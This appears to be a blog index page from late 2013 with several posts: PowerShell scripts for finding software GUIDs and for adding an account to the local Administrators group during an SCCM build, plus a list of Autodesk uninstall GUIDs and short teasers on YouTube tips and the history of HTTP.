      UninstallGUID "Autodesk Material Library 2014" "{644F9B19-A462-499C-BF4D-300ABC2A28B1}"  
      UninstallGUID "Autodesk Material Library Base Resolution Image Library 2014" "{51BF3210-B825-4092-8E0D-66D689916E02}"  
      UninstallGUID "Autodesk Material Library Low Resolution Image Library 2014" "{5C29CC1F-218F-4C30-948A-11066CAC59FB}"  
      UninstallGUID "DWG TrueView 2014" "{5783F2D7-D028-0409-0100-0060B0CE6BBA}"  
      UninstallGUID "Autodesk Content Service" "{62F029AB-85F2-0000-866A-9FC0DD99DDBC}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD Structural Detailing 2014 - English" "{5783F2D7-D030-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD Architecture 2014 - English" "{5783F2D7-D004-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD MEP 2014 - English" "{5783F2D7-D006-0000-0102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk 360" "{52B28CAD-F49D-47BA-9FFE-29C2E85F0D0B}"  
      UninstallGUID "Autodesk Design Review 2013" "{153DB567-6FF3-49AD-AC4F-86F8A3CCFDFB}"  
      UninstallGUID "Autodesk Revit Interoperability for Inventor 2014" "{0BB716E0-1400-0210-0000-097DC2F354DF}"  
      UninstallGUID "Autodesk Inventor 2014" "{7F4DD591-1864-0001-0000-7107D70F3DB4}"  
      UninstallName "Eco Materials Adviser for Autodesk Inventor 2014 (64-bit)"  
      UninstallName "Microsoft SQL Server 2008 Native Client"  
      UninstallGUID "Revit 2014 Language Pack - English" "{7346B4A0-1400-0511-0409-705C0D862004}"  
      UninstallGUID "Autodesk Content Service Language Pack" "{62F029AB-85F2-0001-866A-9FC0DD99DDBC}"  
      UninstallGUID "AutoCAD 2014 Language Pack - English" "{5783F2D7-D001-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD 2014 - English" "{5783F2D7-D001-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk Navisworks Manage 2014" "{22332F6C-46C6-0000-9863-06EE744B0218}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 English Language Pack" "{22332F6C-46C6-0409-9863-06EE744B0218}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2014 DWG File Reader" "{82562ABD-3D6B-4845-9D11-60A649D727F1}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2013 DWG File Reader" "{C877FD20-CB02-42E5-BA97-283260216417}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2012 DWG File Reader" "{CE4E85D0-26F7-40D8-A639-F4F16ED205BC}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2011 DWG File Reader" "{B6DD48B0-1941-4E04-993B-1986CF000735}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2010 DWG File Reader" "{087CA76C-9188-4F47-B08B-22374918AF19}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2009 DWG File Reader" "{80BBD08D-5477-4437-881D-F0D16C13F1B8}"  
      UninstallGUID "Autodesk Navisworks Manage 2014 - 2008 DWG File Reader" "{452519E8-B784-4519-8BEB-CC62D31E5A0D}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins" "{914E5049-303D-5993-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Navisworks 2014 64 bit Exporter Plug-ins English Language Pack" "{914E5049-303D-0409-9734-CF12636383B4}"  
      UninstallGUID "Autodesk Robot Structural Analysis Professional 2014" "{A3BD9E70-84AD-4E93-A92F-E6A245CD786C}"  
      UninstallGUID "Autodesk Robot Structural Analysis Professional 2014 - English regional settings" "{F9F0C54F-A993-488C-8CC9-4E74001F83A6}"  
      UninstallName "Autodesk Robot Structural Analysis Professional 2014 Autodesk Robot Structural Analysis Professional 2014 Service Pack 1"  
      UninstallGUID "Autodesk Material Library Medium Resolution Image Library 2014" "{A0633D4E-5AF2-4E3E-A70A-FE9C2BD8A958}"  
      UninstallGUID "Autodesk Revit Interoperability for 3ds Max 2014" "{0BB716E0-1400-0610-0000-097DC2F354DF}"  
      UninstallGUID "Autodesk 3ds Max Design 2014" "{52B37EC7-D836-0409-0164-3C24BCED2010}"  
      UninstallGUID "Autodesk 3ds Max Design 2014 64-bit Populate Data" "{2BCAFE22-BE25-4437-815C-54596D630397}"  
      UninstallGUID "Autodesk DirectConnect 2014 64-bit" "{8FC7C2B2-0F64-4B35-AA3D-2B051D009243}"  
      UninstallGUID "Autodesk Inventor Server Engine for 3ds Max Design 2014 64-bit" "{CBC74B06-FE35-482C-89D6-CE95A0289C06}"  
      UninstallGUID "Autodesk Composite 2014" "{5AAB972C-FF31-4B01-8445-50C42860EC02}"  
      UninstallGUID "Autodesk Revit Interoperability for Showcase 2014" "{0BB716E0-1400-0410-0000-097DC2F354DF}"  
      UninstallGUID "Autodesk Showcase 2014 64-bit" "{42FCE681-2220-4EAA-8E39-20B527585547}"  
      UninstallGUID "AutoCAD Structural Detailing 2014 Language Pack - English" "{5783F2D7-D030-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD Structural Detailing 2014 - English" "{5783F2D7-D030-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "Autodesk SketchBook Designer 2014" "{4057E6CF-C9AC-45D7-87D4-A8FAE305AAC1}"  
      UninstallGUID "Autodesk Inventor 2014 English Language Pack" "{7F4DD591-1864-0001-1033-7107D70F3DB4}"  
      UninstallGUID "Autodesk InfraWorks 2014" "{58E36D07-3001-0000-0102-C854F44898ED}"  
      UninstallName "Autodesk Inventor 2014 Content Libraries"  
      UninstallGUID "Autodesk SketchBook Designer for AutoCAD 2014" "{8BFDC12D-7F32-4F77-95DE-D1A42BAC91DD}"  
      UninstallGUID "Autodesk ReCap" "{31ABA3F2-0000-1033-0102-111D43815377}"  
      UninstallGUID "Autodesk ReCap Language Pack-English" "{31ABA3F2-0010-1033-0102-111D43815377}"  
      UninstallName "Autodesk® Backburner 2014"  
      UninstallGUID "Autodesk Essential Skills Movies for 3ds Max Design 2014 64-bit" "{280881E4-0E3C-40E6-9B76-E05A865551BB}"  
      UninstallGUID "AutoCAD Architecture 2014 Language Pack - English" "{5783F2D7-D004-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD Architecture 2014 - English" "{5783F2D7-D004-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD MEP 2014 Language Pack - English" "{5783F2D7-D006-0409-1102-0060B0CE6BBA}"  
      UninstallGUID "AutoCAD MEP 2014 - English" "{5783F2D7-D006-0409-2102-0060B0CE6BBA}"  
      UninstallGUID "SketchUp Import for AutoCAD 2014" "{644E9589-F73A-49A4-AC61-A953B9DE5669}"  
      UninstallGUID "AutoCAD Raster Design 2014" "{5783F2D7-D031-0409-0102-0060B0CE6BBA}"  
      UninstallName "Autodesk AutoCAD Structural Detailing 2014 Object Enabler"  
 }  

8/12/13

Những thủ thuật Youtube thú vị bạn phải biết

Không ngạc nhiên khi tất cả chúng ta đều rất quen thuộc với cái tên Youtube. Đây là kênh Video trực tuyến lớn nhất trên thế giới. Bất cứ khi nào bạn muốn xem bất kì video âm nhạc nào mới phát hành, chương trình yêu thích mà bạn bỏ lỡ trên TV, thể thao trực tiếp, những video hài hước, những thủ thuật thú vị, video công nghệ và nhiều hơn thế nữa có sẵn bất cứ khi nào trên Youtube.

http://vcn.edu.vn/uploads/youtube-logo.png 

Đó là những lý do để chúng ta phụ thuộc vào Youtube cho nhiều mục đích khác nhau nhưng ngoài ra có rất nhiều thủ thuật mà có thể mang lại cho bạn một cách tốt hơn và hiệu quả hơn để sử dụng YouTube. Vì vậy, ở đây tôi sẽ chia sẻ một số thủ thuật Youtube thú vị và rất hữu ích với bạn.
READ MORE »

2/12/13

Powershell: Get the Software GUID

This script will get the proper software name and associated GUID. I use this script when writing uninstaller powershell scripts. You can use the GUID in an msiexec so that you do not need the source files for the uninstall.


 #*******************************************************************************  
 #   Author: Mick Pletcher  
 #    Date: 30 November 2013  
 #  
 #   Program: Get Software Names and GUID  
 #*******************************************************************************  

 Clear-Host  

 Function RenameWindow ($Title) {  

      #Declare Local Memory  
      Set-Variable -Name a -Scope Local -Force  

      $a = (Get-Host).UI.RawUI  
      $a.WindowTitle = $Title  

      #Cleanup Local Memory  
      Remove-Variable -Name a -Scope Local -Force 
 
 }  

 Function GetProductName($Description) {
  
      #Declare Local Memory  
      Set-Variable -Name AppLocal -Scope Local -Force  
      Set-Variable -Name AppName -Scope Local -Force  
      Set-Variable -Name Desc -Scope Local -Force  
      Set-Variable -Name IDLocal -Scope Local -Force  
      Set-Variable -Name IDNumber -Scope Local -Force  
      Set-Variable -Name Uninstaller -Scope Local -Force
  
      #Change '%application%' to whatever app you are calling  
      $Description = [char]34+"description like"+[char]32+[char]39+[char]37+$Description+[char]37+[char]39+[char]34  
      $Desc = wmic product where $Description get Description  
      $Uninstaller = wmic product where $Description get IdentifyingNumber  
      $Desc | ForEach-Object {  
           $_ = $_.Trim()  
             if(($_ -ne "Description")-and($_ -ne "")){  
               $AppName += $_  
             }  
      }  
      $Uninstaller | ForEach-Object {  
           $_ = $_.Trim()  
             if(($_ -ne "IdentifyingNumber")-and($_ -ne "")){  
               $IDNumber += $_  
             }  
      }  
      $AppLocal = New-Object System.Object  
      $AppLocal | Add-Member -type NoteProperty -name Application -value $AppName  
      If ($AppName -ne $null) {  
           $AppLocal | Add-Member -type NoteProperty -name GUID -value $IDNumber  
      } else {  
           $AppLocal | Add-Member -type NoteProperty -name Status -value "Not Installed"  
      }  
      $AppLocal  

      #Cleanup Local Memory  
      Remove-Variable -Name AppLocal -Scope Local -Force  
      Remove-Variable -Name AppName -Scope Local -Force  
      Remove-Variable -Name Desc -Scope Local -Force  
      Remove-Variable -Name IDLocal -Scope Local -Force  
      Remove-Variable -Name IDNumber -Scope Local -Force  
      Remove-Variable -Name Uninstaller -Scope Local -Force 
 
 } 
 
 RenameWindow "Product Name and GUID"  
 GetProductName "Office Professional Plus"  
 GetProductName "Microsoft Lync 2013"  
 GetProductName "Adobe Reader"  
 GetProductName "Microsoft Visio Professional"  

The Beginning Of The Web Pages And Google Hacking


ABSTRACT
The evolution of technology has reached a point that necessitated the emergence of communication protocols, there was then the spread of the HTTP protocol and the HTML language initially, in the early 90s, the web pages have become a major means of communication between users, governments, institutions and professionals.
The "HyperText Transfer Protocol" is a protocol application responsible for handling requests and responses between "client and server" in the "World Wide Web", came up with the purpose of distributing information over the Internet, also to communicate between computers and specifications would be performed as transactions between clients and servers, through the use of rules.

READ MORE »

1/12/13

Powershell: Adding a User to the Local Administrators Group with Verification

This script will add a user to the local administrators group. It will also verify if the user is added and write both a registry key for the add/remove programs and a key for the WMI entry so that it will appear in a WMI query. There were already scripts out there to do this function, but I wrote this one for our SCCM build so that there is a verification in the build process that one of the accounts we add to the local admin group is actually there. All you have to do is to add the name of the account to the variable $Member.




 #*******************************************************************************  
 #   Author: Mick Pletcher  
 #    Date: 25 November 2013  
 #  
 #   Program: Add User to Local Administrator Group in Active Directory  
 #*******************************************************************************  

 #Define Global Memory  
 Set-Variable -Name Member -Scope Local -Force  
 Set-Variable -Name Results -Value $false -Scope Global -Force  

 Function AddRemovePrograms($KeyName, $DisplayName, $Version){  

      #Define Local Memory  
      New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT  
      Set-Variable -Name AddRemKey -Scope Local -Force  
      Set-Variable -Name guid -Scope Local -Force  
      Set-Variable -Name ProductsKey -Scope Local -Force  

      If (!(Test-Path c:\windows\GSPBox_Icon.bmp)){  
           Copy-Item -Path \\global.gsp\data\clients\na_clients\Build\Add-ins\GSPBox_Icon.bmp -Destination c:\Windows -Force  
      }  
      $AddRemKey = "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall"  
      $ProductsKey = "HKCR:\Installer\Products\"  
      New-Item -Path $AddRemKey -Name $KeyName –Force  
      New-ItemProperty -Path $AddRemKey"\"$KeyName -Name DisplayName -Value $DisplayName -PropertyType String  
      New-ItemProperty -Path $AddRemKey"\"$KeyName -Name DisplayVersion -Value $Version -PropertyType String  
      New-ItemProperty -Path $AddRemKey"\"$KeyName -Name UninstallString -Value " " -PropertyType String  
      New-ItemProperty -Path $AddRemKey"\"$KeyName -Name Publisher -Value "Gresham, Smith and Partners" -PropertyType String  
      New-ItemProperty -Path $AddRemKey"\"$KeyName -Name DisplayIcon -Value "c:\windows\GSPBox_Icon.bmp" -PropertyType String  
      $guid = [guid]::NewGuid().ToString("N")  
      $guid.ToString()  
      $guid = $guid.ToUpper()  
      New-Item -Path $ProductsKey -Name $guid –Force  
      New-ItemProperty -Path $ProductsKey"\"$guid -Name ProductName -Value $DisplayName -PropertyType String -Force  

      #Cleanup Local Memory  
      remove-psdrive -name HKCR  
      Remove-Variable -Name AddRemKey -Scope Local -Force  
      Remove-Variable -Name guid -Scope Local -Force  
      Remove-Variable -Name ProductsKey -Scope Local -Force  

 }  

 Function CheckADForUser ($Member){  

      #Define Local Memory  
      Set-Variable -Name Computer -Scope Local -Force  
      Set-Variable -Name Group -Scope Local -Force  
      Set-Variable -Name LocalGroup -Scope Local -Force  
      Set-Variable -Name User -Scope Local -Force  
      Set-Variable -Name UserNames -Scope Local -Force  
      Set-Variable -Name Users -Scope Local -Force  

      $LocalGroup = "Administrators"  
      $UserNames = @()  
      $Computer = $env:computername  
           $Group= [ADSI]"WinNT://$Computer/$LocalGroup,group"  
           $Users = @($Group.psbase.Invoke("Members"))  
           $Users | ForEach-Object {  
                $UserNames += $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)  
                Foreach ( $User in $UserNames) {  
                     If ($User -eq $Member) {  
                          $Global:Results = $true  
                          Write-Host $User  
                     }  
                }  
           }  

      #Cleanup Local Memory  
      $UserNames.Clear()  
      Remove-Variable -Name Computer -Scope Local -Force  
      Remove-Variable -Name Group -Scope Local -Force  
      Remove-Variable -Name LocalGroup -Scope Local -Force  
      Remove-Variable -Name User -Scope Local -Force  
      Remove-Variable -Name UserNames -Scope Local -Force  
      Remove-Variable -Name Users -Scope Local -Force  

 }  

 Function AddUserToAD ($Member) {  

      $group = [ADSI]"WinNT://./Administrators,group"  
      $group.Add("WinNT://$Member,user")  

 }  

 cls  
 $Member = ""  
 CheckADForUser $Member  
 If ($Results -eq $true) {  
      AddRemovePrograms $Member $Member "Installed"  
      cls  
      Write-Host $Member" is already in the local administrators group"  
 } else {  
      AddUserToAD $Member  
      CheckADForUser $Member  
      If ($Results -eq $true) {  
           AddRemovePrograms $Member $Member "Installed"  
           cls  
           Write-Host $Member" has been added to the local administrators group"  
      }  
 }  

 #Cleanup Global Memory  
 Remove-Variable -Name Member -Scope Local -Force  
 Remove-Variable -Name Results -Scope Global -Force